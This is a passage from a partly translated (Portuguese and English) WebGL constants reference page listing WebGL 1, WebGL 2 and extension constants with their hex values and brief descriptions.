CULL_FACE0x0B44Passed to enable/disable to turn on/off culling. Can also be used with getParameter to find the current culling method.
FRONT0x0404Passed to cullFace to specify that only front faces should be drawn.
BACK0x0405Passed to cullFace to specify that only back faces should be drawn.
FRONT_AND_BACK0x0408Passed to cullFace to specify that front and back faces should be drawn.
- -

Enabling and disabling

- -

Constants passed to {{domxref("WebGLRenderingContext.enable()")}} or {{domxref("WebGLRenderingContext.disable()")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
BLEND0x0BE2Passed to enable/disable to turn on/off blending. Can also be used with getParameter to find the current blending method.
DEPTH_TEST0x0B71Passed to enable/disable to turn on/off the depth test. Can also be used with getParameter to query the depth test.
DITHER0x0BD0Passed to enable/disable to turn on/off dithering. Can also be used with getParameter to find the current dithering method.
POLYGON_OFFSET_FILL0x8037Passed to enable/disable to turn on/off the polygon offset. Useful for rendering hidden-line images, decals, and or solids with highlighted edges. Can also be used with getParameter to query the scissor test.
SAMPLE_ALPHA_TO_COVERAGE0x809EPassed to enable/disable to turn on/off the alpha to coverage. Used in multi-sampling alpha channels.
SAMPLE_COVERAGE0x80A0Passed to enable/disable to turn on/off the sample coverage. Used in multi-sampling.
SCISSOR_TEST0x0C11Passed to enable/disable to turn on/off the scissor test. Can also be used with getParameter to query the scissor test.
STENCIL_TEST0x0B90Passed to enable/disable to turn on/off the stencil test. Can also be used with getParameter to query the stencil test.
- -

Errors

- -

Constants returned from {{domxref("WebGLRenderingContext.getError()")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
NO_ERROR0Returned from getError.
INVALID_ENUM0x0500Returned from getError.
INVALID_VALUE0x0501Returned from getError.
INVALID_OPERATION0x0502Returned from getError.
OUT_OF_MEMORY0x0505Returned from getError.
CONTEXT_LOST_WEBGL0x9242Returned from getError.
- -

Front face directions

- -

Constants passed to {{domxref("WebGLRenderingContext.frontFace()")}}.

- - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
CW0x0900Passed to frontFace to specify the front face of a polygon is drawn in the clockwise direction
CCW0x0901Passed to frontFace to specify the front face of a polygon is drawn in the counter clockwise direction
- -

Hints

- -

Constants passed to {{domxref("WebGLRenderingContext.hint()")}}

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
DONT_CARE0x1100There is no preference for this behavior.
FASTEST0x1101The most efficient behavior should be used.
NICEST0x1102The most correct or the highest quality option should be used.
GENERATE_MIPMAP_HINT0x8192Hint for the quality of filtering when generating mipmap images with {{domxref("WebGLRenderingContext.generateMipmap()")}}.
- -

Data types

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
BYTE0x1400 
UNSIGNED_BYTE0x1401 
SHORT0x1402 
UNSIGNED_SHORT0x1403 
INT0x1404 
UNSIGNED_INT0x1405 
FLOAT0x1406 
- -

Pixel formats

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
DEPTH_COMPONENT0x1902 
ALPHA0x1906 
RGB0x1907 
RGBA0x1908 
LUMINANCE0x1909 
LUMINANCE_ALPHA0x190A 
- -

Pixel types

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
UNSIGNED_BYTE0x1401 
UNSIGNED_SHORT_4_4_4_40x8033 
UNSIGNED_SHORT_5_5_5_10x8034 
UNSIGNED_SHORT_5_6_50x8363 
- -

Shaders

- -

Constants passed to {{domxref("WebGLRenderingContext.createShader()")}} or {{domxref("WebGLRenderingContext.getShaderParameter()")}}

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
FRAGMENT_SHADER0x8B30Passed to createShader to define a fragment shader.
VERTEX_SHADER0x8B31Passed to createShader to define a vertex shader
COMPILE_STATUS0x8B81Passed to getShaderParamter to get the status of the compilation. Returns false if the shader was not compiled. You can then query getShaderInfoLog to find the exact error
DELETE_STATUS0x8B80Passed to getShaderParamter to determine if a shader was deleted via deleteShader. Returns true if it was, false otherwise.
LINK_STATUS0x8B82Passed to getProgramParameter after calling linkProgram to determine if a program was linked correctly. Returns false if there were errors. Use getProgramInfoLog to find the exact error.
VALIDATE_STATUS0x8B83Passed to getProgramParameter after calling validateProgram to determine if it is valid. Returns false if errors were found.
ATTACHED_SHADERS0x8B85Passed to getProgramParameter after calling attachShader to determine if the shader was attached correctly. Returns false if errors occurred.
ACTIVE_ATTRIBUTES0x8B89Passed to getProgramParameter to get the number of attributes active in a program.
ACTIVE_UNIFORMS0x8B86Passed to getProgramParamter to get the number of uniforms active in a program.
MAX_VERTEX_ATTRIBS0x8869The maximum number of entries possible in the vertex attribute list.
MAX_VERTEX_UNIFORM_VECTORS0x8DFB 
MAX_VARYING_VECTORS0x8DFC 
MAX_COMBINED_TEXTURE_IMAGE_UNITS0x8B4D 
MAX_VERTEX_TEXTURE_IMAGE_UNITS0x8B4C 
MAX_TEXTURE_IMAGE_UNITS0x8872Implementation dependent number of maximum texture units. At least 8.
MAX_FRAGMENT_UNIFORM_VECTORS0x8DFD 
SHADER_TYPE0x8B4F 
SHADING_LANGUAGE_VERSION0x8B8C 
CURRENT_PROGRAM0x8B8D 
- -

Depth or stencil tests

- -

Constants passed to {{domxref("WebGLRenderingContext.depthFunc()")}} or {{domxref("WebGLRenderingContext.stencilFunc()")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
NEVER0x0200Passed to depthFunction or stencilFunction to specify depth or stencil tests will never pass. i.e. Nothing will be drawn.
ALWAYS0x0207Passed to depthFunction or stencilFunction to specify depth or stencil tests will always pass. i.e. Pixels will be drawn in the order they are drawn.
LESS0x0201Passed to depthFunction or stencilFunction to specify depth or stencil tests will pass if the new depth value is less than the stored value.
EQUAL0x0202Passed to depthFunction or stencilFunction to specify depth or stencil tests will pass if the new depth value is equals to the stored value.
LEQUAL0x0203Passed to depthFunction or stencilFunction to specify depth or stencil tests will pass if the new depth value is less than or equal to the stored value.
GREATER0x0204Passed to depthFunction or stencilFunction to specify depth or stencil tests will pass if the new depth value is greater than the stored value.
GEQUAL0x0206Passed to depthFunction or stencilFunction to specify depth or stencil tests will pass if the new depth value is greater than or equal to the stored value.
NOTEQUAL0x0205Passed to depthFunction or stencilFunction to specify depth or stencil tests will pass if the new depth value is not equal to the stored value.
- -

Stencil actions

- -

Constants passed to {{domxref("WebGLRenderingContext.stencilOp()")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
KEEP0x1E00 
REPLACE0x1E01 
INCR0x1E02 
DECR0x1E03 
INVERT0x150A 
INCR_WRAP0x8507 
DECR_WRAP0x8508 
- -

Textures

- -

Constants passed to {{domxref("WebGLRenderingContext.texParameteri()")}}, {{domxref("WebGLRenderingContext.texParameterf()")}}, {{domxref("WebGLRenderingContext.bindTexture()")}}, {{domxref("WebGLRenderingContext.texImage2D()")}}, and others.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
NEAREST0x2600 
LINEAR0x2601 
NEAREST_MIPMAP_NEAREST0x2700 
LINEAR_MIPMAP_NEAREST0x2701 
NEAREST_MIPMAP_LINEAR0x2702 
LINEAR_MIPMAP_LINEAR0x2703 
TEXTURE_MAG_FILTER0x2800 
TEXTURE_MIN_FILTER0x2801 
TEXTURE_WRAP_S0x2802 
TEXTURE_WRAP_T0x2803 
TEXTURE_2D0x0DE1 
TEXTURE0x1702 
TEXTURE_CUBE_MAP0x8513 
TEXTURE_BINDING_CUBE_MAP0x8514 
TEXTURE_CUBE_MAP_POSITIVE_X0x8515 
TEXTURE_CUBE_MAP_NEGATIVE_X0x8516 
TEXTURE_CUBE_MAP_POSITIVE_Y0x8517 
TEXTURE_CUBE_MAP_NEGATIVE_Y0x8518 
TEXTURE_CUBE_MAP_POSITIVE_Z0x8519 
TEXTURE_CUBE_MAP_NEGATIVE_Z0x851A 
MAX_CUBE_MAP_TEXTURE_SIZE0x851C 
TEXTURE0 - 310x84C0 - 0x84DFA texture unit.
ACTIVE_TEXTURE0x84E0The current active texture unit.
REPEAT0x2901 
CLAMP_TO_EDGE0x812F 
MIRRORED_REPEAT0x8370 
- -

Uniform types

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
FLOAT_VEC20x8B50 
FLOAT_VEC30x8B51 
FLOAT_VEC40x8B52 
INT_VEC20x8B53 
INT_VEC30x8B54 
INT_VEC40x8B55 
BOOL0x8B56 
BOOL_VEC20x8B57 
BOOL_VEC30x8B58 
BOOL_VEC40x8B59 
FLOAT_MAT20x8B5A 
FLOAT_MAT30x8B5B 
FLOAT_MAT40x8B5C 
SAMPLER_2D0x8B5E 
SAMPLER_CUBE0x8B60 
- -

Shader precision-specified types

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
LOW_FLOAT0x8DF0 
MEDIUM_FLOAT0x8DF1 
HIGH_FLOAT0x8DF2 
LOW_INT0x8DF3 
MEDIUM_INT0x8DF4 
HIGH_INT0x8DF5 
- -

Framebuffers and renderbuffers

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
FRAMEBUFFER0x8D40 
RENDERBUFFER0x8D41 
RGBA40x8056 
RGB5_A10x8057 
RGB5650x8D62 
DEPTH_COMPONENT160x81A5 
STENCIL_INDEX0x1901 
STENCIL_INDEX80x8D48 
DEPTH_STENCIL0x84F9 
RENDERBUFFER_WIDTH0x8D42 
RENDERBUFFER_HEIGHT0x8D43 
RENDERBUFFER_INTERNAL_FORMAT0x8D44 
RENDERBUFFER_RED_SIZE0x8D50 
RENDERBUFFER_GREEN_SIZE0x8D51 
RENDERBUFFER_BLUE_SIZE0x8D52 
RENDERBUFFER_ALPHA_SIZE0x8D53 
RENDERBUFFER_DEPTH_SIZE0x8D54 
RENDERBUFFER_STENCIL_SIZE0x8D55 
FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE0x8CD0 
FRAMEBUFFER_ATTACHMENT_OBJECT_NAME0x8CD1 
FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL0x8CD2 
FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE0x8CD3 
COLOR_ATTACHMENT00x8CE0 
DEPTH_ATTACHMENT0x8D00 
STENCIL_ATTACHMENT0x8D20 
DEPTH_STENCIL_ATTACHMENT0x821A 
NONE0 
FRAMEBUFFER_COMPLETE0x8CD5 
FRAMEBUFFER_INCOMPLETE_ATTACHMENT0x8CD6 
FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT0x8CD7 
FRAMEBUFFER_INCOMPLETE_DIMENSIONS0x8CD9 
FRAMEBUFFER_UNSUPPORTED0x8CDD 
FRAMEBUFFER_BINDING0x8CA6 
RENDERBUFFER_BINDING0x8CA7 
MAX_RENDERBUFFER_SIZE0x84E8 
INVALID_FRAMEBUFFER_OPERATION0x0506 
- -

Pixel storage modes

- -

Constants passed to {{domxref("WebGLRenderingContext.pixelStorei()")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
UNPACK_FLIP_Y_WEBGL0x9240 
UNPACK_PREMULTIPLY_ALPHA_WEBGL0x9241 
UNPACK_COLORSPACE_CONVERSION_WEBGL0x9243 
- -

Constantes adicionais definidas em WebGL 2

- -

These constants are defined on the {{domxref("WebGL2RenderingContext")}} interface. All WebGL 1 constants are also available in a WebGL 2 context.

- -

Obter a informação do parâmetro GL

- -

Constants passed to {{domxref("WebGLRenderingContext.getParameter()")}} to specify what information to return.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
READ_BUFFER0x0C02 
UNPACK_ROW_LENGTH0x0CF2 
UNPACK_SKIP_ROWS0x0CF3 
UNPACK_SKIP_PIXELS0x0CF4 
PACK_ROW_LENGTH0x0D02 
PACK_SKIP_ROWS0x0D03 
PACK_SKIP_PIXELS0x0D04 
TEXTURE_BINDING_3D0x806A 
UNPACK_SKIP_IMAGES0x806D 
UNPACK_IMAGE_HEIGHT0x806E 
MAX_3D_TEXTURE_SIZE0x8073 
MAX_ELEMENTS_VERTICES0x80E8 
MAX_ELEMENTS_INDICES0x80E9 
MAX_TEXTURE_LOD_BIAS0x84FD 
MAX_FRAGMENT_UNIFORM_COMPONENTS0x8B49 
MAX_VERTEX_UNIFORM_COMPONENTS0x8B4A 
MAX_ARRAY_TEXTURE_LAYERS0x88FF 
MIN_PROGRAM_TEXEL_OFFSET0x8904 
MAX_PROGRAM_TEXEL_OFFSET0x8905 
MAX_VARYING_COMPONENTS0x8B4B 
FRAGMENT_SHADER_DERIVATIVE_HINT0x8B8B 
RASTERIZER_DISCARD0x8C89 
VERTEX_ARRAY_BINDING0x85B5 
MAX_VERTEX_OUTPUT_COMPONENTS0x9122 
MAX_FRAGMENT_INPUT_COMPONENTS0x9125 
MAX_SERVER_WAIT_TIMEOUT0x9111 
MAX_ELEMENT_INDEX0x8D6B 
- -

Texturas

- -

Constants passed to {{domxref("WebGLRenderingContext.texParameteri()")}}, {{domxref("WebGLRenderingContext.texParameterf()")}}, {{domxref("WebGLRenderingContext.bindTexture()")}}, {{domxref("WebGLRenderingContext.texImage2D()")}}, and others.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
RED0x1903 
RGB80x8051 
RGBA80x8058 
RGB10_A20x8059 
TEXTURE_3D0x806F 
TEXTURE_WRAP_R0x8072 
TEXTURE_MIN_LOD0x813A 
TEXTURE_MAX_LOD0x813B 
TEXTURE_BASE_LEVEL0x813C 
TEXTURE_MAX_LEVEL0x813D 
TEXTURE_COMPARE_MODE0x884C 
TEXTURE_COMPARE_FUNC0x884D 
SRGB0x8C40 
SRGB80x8C41 
SRGB8_ALPHA80x8C43 
COMPARE_REF_TO_TEXTURE0x884E 
RGBA32F0x8814 
RGB32F0x8815 
RGBA16F0x881A 
RGB16F0x881B 
TEXTURE_2D_ARRAY0x8C1A 
TEXTURE_BINDING_2D_ARRAY0x8C1D 
R11F_G11F_B10F0x8C3A 
RGB9_E50x8C3D 
RGBA32UI0x8D70 
RGB32UI0x8D71 
RGBA16UI0x8D76 
RGB16UI0x8D77 
RGBA8UI0x8D7C 
RGB8UI0x8D7D 
RGBA32I0x8D82 
RGB32I0x8D83 
RGBA16I0x8D88 
RGB16I0x8D89 
RGBA8I0x8D8E 
RGB8I0x8D8F 
RED_INTEGER0x8D94 
RGB_INTEGER0x8D98 
RGBA_INTEGER0x8D99 
R80x8229 
RG80x822B 
R16F0x822D 
R32F0x822E 
RG16F0x822F 
RG32F0x8230 
R8I0x8231 
R8UI0x8232 
R16I0x8233 
R16UI0x8234 
R32I0x8235 
R32UI0x8236 
RG8I0x8237 
RG8UI0x8238 
RG16I0x8239 
RG16UI0x823A 
RG32I0x823B 
RG32UI0x823C 
R8_SNORM0x8F94 
RG8_SNORM0x8F95 
RGB8_SNORM0x8F96 
RGBA8_SNORM0x8F97 
RGB10_A2UI0x906F 
TEXTURE_IMMUTABLE_FORMAT 0x912F 
TEXTURE_IMMUTABLE_LEVELS0x82DF 
- -

Tipos de píxel

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
UNSIGNED_INT_2_10_10_10_REV0x8368 
UNSIGNED_INT_10F_11F_11F_REV0x8C3B 
UNSIGNED_INT_5_9_9_9_REV0x8C3E 
FLOAT_32_UNSIGNED_INT_24_8_REV0x8DAD 
UNSIGNED_INT_24_80x84FA 
HALF_FLOAT0x140B 
RG0x8227 
RG_INTEGER0x8228 
INT_2_10_10_10_REV0x8D9F 
- -

Consultas

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
CURRENT_QUERY0x8865 
QUERY_RESULT 0x8866 
QUERY_RESULT_AVAILABLE0x8867 
ANY_SAMPLES_PASSED0x8C2F 
ANY_SAMPLES_PASSED_CONSERVATIVE0x8D6A 
- -

Draw buffers

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
MAX_DRAW_BUFFERS0x8824 
DRAW_BUFFER00x8825 
DRAW_BUFFER10x8826 
DRAW_BUFFER20x8827 
DRAW_BUFFER30x8828 
DRAW_BUFFER40x8829 
DRAW_BUFFER50x882A 
DRAW_BUFFER60x882B 
DRAW_BUFFER70x882C 
DRAW_BUFFER80x882D 
DRAW_BUFFER90x882E 
DRAW_BUFFER100x882F 
DRAW_BUFFER110x8830 
DRAW_BUFFER120x8831 
DRAW_BUFFER130x8832 
DRAW_BUFFER140x8833 
DRAW_BUFFER150x8834 
MAX_COLOR_ATTACHMENTS0x8CDF 
COLOR_ATTACHMENT10x8CE1 
COLOR_ATTACHMENT20x8CE2 
COLOR_ATTACHMENT30x8CE3 
COLOR_ATTACHMENT40x8CE4 
COLOR_ATTACHMENT50x8CE5 
COLOR_ATTACHMENT60x8CE6 
COLOR_ATTACHMENT70x8CE7 
COLOR_ATTACHMENT80x8CE8 
COLOR_ATTACHMENT90x8CE9 
COLOR_ATTACHMENT100x8CEA 
COLOR_ATTACHMENT110x8CEB 
COLOR_ATTACHMENT120x8CEC 
COLOR_ATTACHMENT130x8CED 
COLOR_ATTACHMENT140x8CEE 
COLOR_ATTACHMENT150x8CEF 
- -

Samplers

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
SAMPLER_3D0x8B5F 
SAMPLER_2D_SHADOW0x8B62 
SAMPLER_2D_ARRAY0x8DC1 
SAMPLER_2D_ARRAY_SHADOW0x8DC4 
SAMPLER_CUBE_SHADOW0x8DC5 
INT_SAMPLER_2D0x8DCA 
INT_SAMPLER_3D0x8DCB 
INT_SAMPLER_CUBE0x8DCC 
INT_SAMPLER_2D_ARRAY0x8DCF 
UNSIGNED_INT_SAMPLER_2D0x8DD2 
UNSIGNED_INT_SAMPLER_3D0x8DD3 
UNSIGNED_INT_SAMPLER_CUBE0x8DD4 
UNSIGNED_INT_SAMPLER_2D_ARRAY0x8DD7 
MAX_SAMPLES0x8D57 
SAMPLER_BINDING0x8919 
- -

Buffers

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
PIXEL_PACK_BUFFER0x88EB 
PIXEL_UNPACK_BUFFER0x88EC 
PIXEL_PACK_BUFFER_BINDING0x88ED 
PIXEL_UNPACK_BUFFER_BINDING 0x88EF 
COPY_READ_BUFFER0x8F36 
COPY_WRITE_BUFFER0x8F37 
COPY_READ_BUFFER_BINDING0x8F36 
COPY_WRITE_BUFFER_BINDING0x8F37 
- -

Tipos de dados

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
FLOAT_MAT2x30x8B65 
FLOAT_MAT2x40x8B66 
FLOAT_MAT3x20x8B67 
FLOAT_MAT3x4 0x8B68 
FLOAT_MAT4x20x8B69 
FLOAT_MAT4x30x8B6A 
UNSIGNED_INT_VEC20x8DC6 
UNSIGNED_INT_VEC30x8DC7 
UNSIGNED_INT_VEC40x8DC8 
UNSIGNED_NORMALIZED0x8C17 
SIGNED_NORMALIZED0x8F9C 
- -

Atributos de Vertex

- - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
VERTEX_ATTRIB_ARRAY_INTEGER 0x88FD 
VERTEX_ATTRIB_ARRAY_DIVISOR0x88FE 
- -

Transform feedback

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
TRANSFORM_FEEDBACK_BUFFER_MODE0x8C7F 
MAX_TRANSFORM_FEEDBACK_SEPARATE_COMPONENTS0x8C80 
TRANSFORM_FEEDBACK_VARYINGS0x8C83 
TRANSFORM_FEEDBACK_BUFFER_START0x8C84 
TRANSFORM_FEEDBACK_BUFFER_SIZE0x8C85 
TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN0x8C88 
MAX_TRANSFORM_FEEDBACK_INTERLEAVED_COMPONENTS0x8C8A 
MAX_TRANSFORM_FEEDBACK_SEPARATE_ATTRIBS0x8C8B 
INTERLEAVED_ATTRIBS0x8C8C 
SEPARATE_ATTRIBS0x8C8D 
TRANSFORM_FEEDBACK_BUFFER0x8C8E 
TRANSFORM_FEEDBACK_BUFFER_BINDING0x8C8F 
TRANSFORM_FEEDBACK0x8E22 
TRANSFORM_FEEDBACK_PAUSED0x8E23 
TRANSFORM_FEEDBACK_ACTIVE0x8E24 
TRANSFORM_FEEDBACK_BINDING0x8E25 
- -

Framebuffers e renderbuffers

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING0x8210 
FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE0x8211 
FRAMEBUFFER_ATTACHMENT_RED_SIZE0x8212 
FRAMEBUFFER_ATTACHMENT_GREEN_SIZE0x8213 
FRAMEBUFFER_ATTACHMENT_BLUE_SIZE0x8214 
FRAMEBUFFER_ATTACHMENT_ALPHA_SIZE0x8215 
FRAMEBUFFER_ATTACHMENT_DEPTH_SIZE0x8216 
FRAMEBUFFER_ATTACHMENT_STENCIL_SIZE0x8217 
FRAMEBUFFER_DEFAULT0x8218 
DEPTH_STENCIL_ATTACHMENT0x821A 
DEPTH_STENCIL0x84F9 
DEPTH24_STENCIL80x88F0 
DRAW_FRAMEBUFFER_BINDING0x8CA6 
READ_FRAMEBUFFER0x8CA8 
DRAW_FRAMEBUFFER0x8CA9 
READ_FRAMEBUFFER_BINDING0x8CAA 
RENDERBUFFER_SAMPLES0x8CAB 
FRAMEBUFFER_ATTACHMENT_TEXTURE_LAYER0x8CD4 
FRAMEBUFFER_INCOMPLETE_MULTISAMPLE0x8D56 
- -

Uniforms

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
UNIFORM_BUFFER0x8A11 
UNIFORM_BUFFER_BINDING0x8A28 
UNIFORM_BUFFER_START0x8A29 
UNIFORM_BUFFER_SIZE0x8A2A 
MAX_VERTEX_UNIFORM_BLOCKS0x8A2B 
MAX_FRAGMENT_UNIFORM_BLOCKS0x8A2D 
MAX_COMBINED_UNIFORM_BLOCKS0x8A2E 
MAX_UNIFORM_BUFFER_BINDINGS0x8A2F 
MAX_UNIFORM_BLOCK_SIZE0x8A30 
MAX_COMBINED_VERTEX_UNIFORM_COMPONENTS0x8A31 
MAX_COMBINED_FRAGMENT_UNIFORM_COMPONENTS0x8A33 
UNIFORM_BUFFER_OFFSET_ALIGNMENT0x8A34 
ACTIVE_UNIFORM_BLOCKS0x8A36 
UNIFORM_TYPE 0x8A37 
UNIFORM_SIZE0x8A38 
UNIFORM_BLOCK_INDEX0x8A3A 
UNIFORM_OFFSET0x8A3B 
UNIFORM_ARRAY_STRIDE0x8A3C 
UNIFORM_MATRIX_STRIDE0x8A3D 
UNIFORM_IS_ROW_MAJOR0x8A3E 
UNIFORM_BLOCK_BINDING0x8A3F 
UNIFORM_BLOCK_DATA_SIZE0x8A40 
UNIFORM_BLOCK_ACTIVE_UNIFORMS0x8A42 
UNIFORM_BLOCK_ACTIVE_UNIFORM_INDICES0x8A43 
UNIFORM_BLOCK_REFERENCED_BY_VERTEX_SHADER0x8A44 
UNIFORM_BLOCK_REFERENCED_BY_FRAGMENT_SHADER0x8A46 
- -

Objetos de sincronização

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
OBJECT_TYPE0x9112 
SYNC_CONDITION0x9113 
SYNC_STATUS0x9114 
SYNC_FLAGS0x9115 
SYNC_FENCE0x9116 
SYNC_GPU_COMMANDS_COMPLETE0x9117 
UNSIGNALED0x9118 
SIGNALED0x9119 
ALREADY_SIGNALED0x911A 
TIMEOUT_EXPIRED0x911B 
CONDITION_SATISFIED0x911C 
WAIT_FAILED0x911D 
SYNC_FLUSH_COMMANDS_BIT0x00000001 
- -

Constantes diversas

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
COLOR0x1800 
DEPTH0x1801 
STENCIL0x1802 
MIN0x8007 
MAX0x8008 
DEPTH_COMPONENT240x81A6 
STREAM_READ0x88E1 
STREAM_COPY0x88E2 
STATIC_READ0x88E5 
STATIC_COPY0x88E6 
DYNAMIC_READ0x88E9 
DYNAMIC_COPY0x88EA 
DEPTH_COMPONENT32F0x8CAC 
DEPTH32F_STENCIL80x8CAD 
INVALID_INDEX0xFFFFFFFF 
TIMEOUT_IGNORED-1 
MAX_CLIENT_WAIT_TIMEOUT_WEBGL0x9247 
- -

Constantes definidas nas extensões de WebGL

- -

{{domxref("ANGLE_instanced_arrays")}}

- - - - - - - - - - - - - - - - -
Constant nameValueDescription
VERTEX_ATTRIB_ARRAY_DIVISOR_ANGLE0x88FEDescribes the frequency divisor used for instanced rendering.
- -

{{domxref("WEBGL_debug_renderer_info")}}

- - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
UNMASKED_VENDOR_WEBGL0x9245Passed to getParameter to get the vendor string of the graphics driver.
UNMASKED_RENDERER_WEBGL0x9246Passed to getParameter to get the renderer string of the graphics driver.
- -

{{domxref("EXT_texture_filter_anisotropic")}}

- - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
MAX_TEXTURE_MAX_ANISOTROPY_EXT0x84FFReturns the maximum available anisotropy.
TEXTURE_MAX_ANISOTROPY_EXT0x84FEPassed to texParameter to set the desired maximum anisotropy for a texture.
- -

{{domxref("WEBGL_compressed_texture_s3tc")}}

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
COMPRESSED_RGB_S3TC_DXT1_EXT0x83F0A DXT1-compressed image in an RGB image format.
COMPRESSED_RGBA_S3TC_DXT1_EXT0x83F1A DXT1-compressed image in an RGB image format with a simple on/off alpha value.
COMPRESSED_RGBA_S3TC_DXT3_EXT0x83F2A DXT3-compressed image in an RGBA image format. Compared to a 32-bit RGBA texture, it offers 4:1 compression.
COMPRESSED_RGBA_S3TC_DXT5_EXT0x83F3A DXT5-compressed image in an RGBA image format. It also provides a 4:1 compression, but differs to the DXT3 compression in how the alpha compression is done.
- -

{{domxref("WEBGL_compressed_texture_etc")}}

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constant nameValueDescription
COMPRESSED_R11_EAC0x9270One-channel (red) unsigned format compression.
COMPRESSED_SIGNED_R11_EAC0x9271One-channel (red) signed format compression.
COMPRESSED_RG11_EAC0x9272Two-channel (red and green) unsigned format compression.
